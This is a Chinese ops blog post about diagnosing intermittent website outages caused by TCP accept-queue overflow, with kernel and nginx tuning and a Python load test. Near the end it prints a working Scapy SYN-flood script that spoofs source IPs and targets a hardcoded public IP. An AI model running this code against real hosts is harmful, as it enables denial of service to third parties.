問(wèn)題描述
監(jiān)控系統(tǒng)發(fā)現(xiàn)電商網(wǎng)站主頁(yè)及其它頁(yè)面間歇性的無(wú)法訪問(wèn);
查看安全防護(hù)和網(wǎng)絡(luò)流量、應(yīng)用系統(tǒng)負(fù)載均正常;
系統(tǒng)重啟后,能夠暫時(shí)解決,但持續(xù)一段時(shí)間后間歇性問(wèn)題再次出現(xiàn)。
此時(shí)問(wèn)題已影響到整個(gè)網(wǎng)站的正常業(yè)務(wù),我那個(gè)心驚呀,最主要是報(bào)警系統(tǒng)沒(méi)有任何報(bào)警,服務(wù)運(yùn)行一切正常,瞬時(shí)背上的汗已經(jīng)出來(lái)了。但還是要靜心,來(lái)仔細(xì)尋找蛛絲馬跡,來(lái)一步一步找問(wèn)題。
問(wèn)題初步判斷
檢查dev 和 網(wǎng)卡設(shè)備層,是否有error和drop ,分析在硬件和系統(tǒng)層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig
觀察socket overflow 和 socket droped(如果應(yīng)用處理全連接隊(duì)列(accept queue)過(guò)慢 socket overflow,影響半連接隊(duì)列(syn queue)溢出socket dropped)-----命令 netstat -s |grep -i listen
發(fā)現(xiàn)SYN socket overflow 和 socket droped 急增加
檢查sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 應(yīng)用程序的backlog ;
ss -lnt查詢,SEND-Q會(huì)取上述參數(shù)的最小值
發(fā)現(xiàn)當(dāng)時(shí)隊(duì)列已經(jīng)超過(guò)網(wǎng)站80端口和443端口默認(rèn)值
檢查 selinux 和 NetworkManager 是否啟用 ,建議禁用;
檢查timestap ,reuse 啟用,內(nèi)核recycle是否啟用,如果過(guò)NAT,禁用recycle;
抓包判斷請(qǐng)求進(jìn)來(lái)后應(yīng)用處理的情況,是否收到SYN未響應(yīng)情況。
深入分析問(wèn)題
正常TCP建連接三次握手過(guò)程:
第一步:客戶端 發(fā)送 syn 到 服務(wù)端發(fā)起握手;
第二步:服務(wù)端 收到 syn后回復(fù)syn+ack給 客戶端;
第三步:客戶端 收到syn+ack后,回復(fù) 服務(wù)端一個(gè)ack表示收到了 服務(wù)端的syn+ack 。
從描述的情況來(lái)看,TCP建連接的時(shí)候全連接隊(duì)列(accept隊(duì)列)滿了,尤其是描述中癥狀為了證明是這個(gè)原因。反復(fù)看了幾次之后發(fā)現(xiàn)這個(gè)overflowed 一直在增加,那么可以明確的是server上全連接隊(duì)列一定溢出了。
接著查看溢出后,OS怎么處理:
# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0
tcp_abort_on_overflow 為0表示如果三次握手第三步的時(shí)候全連接隊(duì)列滿了那么server扔掉client 發(fā)過(guò)來(lái)的ack(在server端認(rèn)為連接還沒(méi)建立起來(lái))
為了證明客戶端應(yīng)用代碼的異常跟全連接隊(duì)列滿有關(guān)系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的時(shí)候如果全連接隊(duì)列滿了,server發(fā)送一個(gè)reset包給client,表示廢掉這個(gè)握手過(guò)程和這個(gè)連接(本來(lái)在server端這個(gè)連接就還沒(méi)建立起來(lái))。
接著測(cè)試然后在web服務(wù)日志中異常中可以看到很多connection reset by peer的錯(cuò)誤,到此證明客戶端錯(cuò)誤是這個(gè)原因?qū)е碌摹?/p>
查看sysctl內(nèi)核參數(shù):backlog ,somaxconn,file-max 和 nginx的backlog配置參數(shù),ss -ln取最小值,發(fā)現(xiàn)為128,此時(shí)resv-q已經(jīng)在129 ,請(qǐng)求被丟棄。將上述參數(shù)修改,并進(jìn)行優(yōu)化:
linux內(nèi)核參進(jìn)行優(yōu)化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384
nginx 配置參數(shù)優(yōu)化:backlog=32768;
利用python 多線程壓測(cè),并未發(fā)現(xiàn)新的問(wèn)題:
import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))
理解TCP握手過(guò)程中建連接的流程和隊(duì)列
如上圖所示,這里有兩個(gè)隊(duì)列:syns queue(半連接隊(duì)列);accept queue(全連接隊(duì)列)
三次握手中,在第一步server收到client的syn后,把相關(guān)信息放到半連接隊(duì)列中,同時(shí)回復(fù)syn+ack給client(第二步);
第三步的時(shí)候server收到client的ack,如果這時(shí)全連接隊(duì)列沒(méi)滿,那么從半連接隊(duì)列拿出相關(guān)信息放入到全連接隊(duì)列中,否則按tcp_abort_on_overflow指示的執(zhí)行。
這時(shí)如果全連接隊(duì)列滿了并且tcp_abort_on_overflow是0的話,server過(guò)一段時(shí)間再次發(fā)送syn+ack給client(也就是重新走握手的第二步),如果client超時(shí)等待比較短,就很容易異常了。
sYN Flood洪水攻擊
當(dāng)前最流行的DoS(拒絕服務(wù)攻擊)與DDoS(分布式拒絕服務(wù)攻擊)的方式之一,這是一種利用TCP協(xié)議缺陷,導(dǎo)致被攻擊服務(wù)器保持大量SYN_RECV狀態(tài)的“半連接”,并且會(huì)重試默認(rèn)5次回應(yīng)第二個(gè)握手包,塞滿TCP等待連接隊(duì)列,資源耗盡(CPU滿負(fù)荷或內(nèi)存不足),讓正常的業(yè)務(wù)請(qǐng)求連接不進(jìn)來(lái)。
from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))
所以大家要對(duì)TCP半連接隊(duì)列和全連接隊(duì)列的問(wèn)題很容易被忽視,但是又很關(guān)鍵,特別是對(duì)于一些短連接應(yīng)用更容易爆發(fā)。
出現(xiàn)問(wèn)題后,從網(wǎng)絡(luò)流量、cpu、線程、負(fù)載來(lái)看都比較正常,在用戶端來(lái)看rt比較高,但是從服務(wù)器端的日志看rt又很短。如何避免在出現(xiàn)問(wèn)題時(shí)手忙腳亂,建立起應(yīng)急機(jī)機(jī)制,后續(xù)有機(jī)會(huì)寫(xiě)一下應(yīng)急方面的文章。
-
監(jiān)控系統(tǒng)
+關(guān)注
關(guān)注
21文章
3922瀏覽量
175190 -
TCP
+關(guān)注
關(guān)注
8文章
1370瀏覽量
79128 -
安全防護(hù)
+關(guān)注
關(guān)注
0文章
60瀏覽量
13534
原文標(biāo)題:記一次驚心的網(wǎng)站 TCP 隊(duì)列問(wèn)題排查經(jīng)歷
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論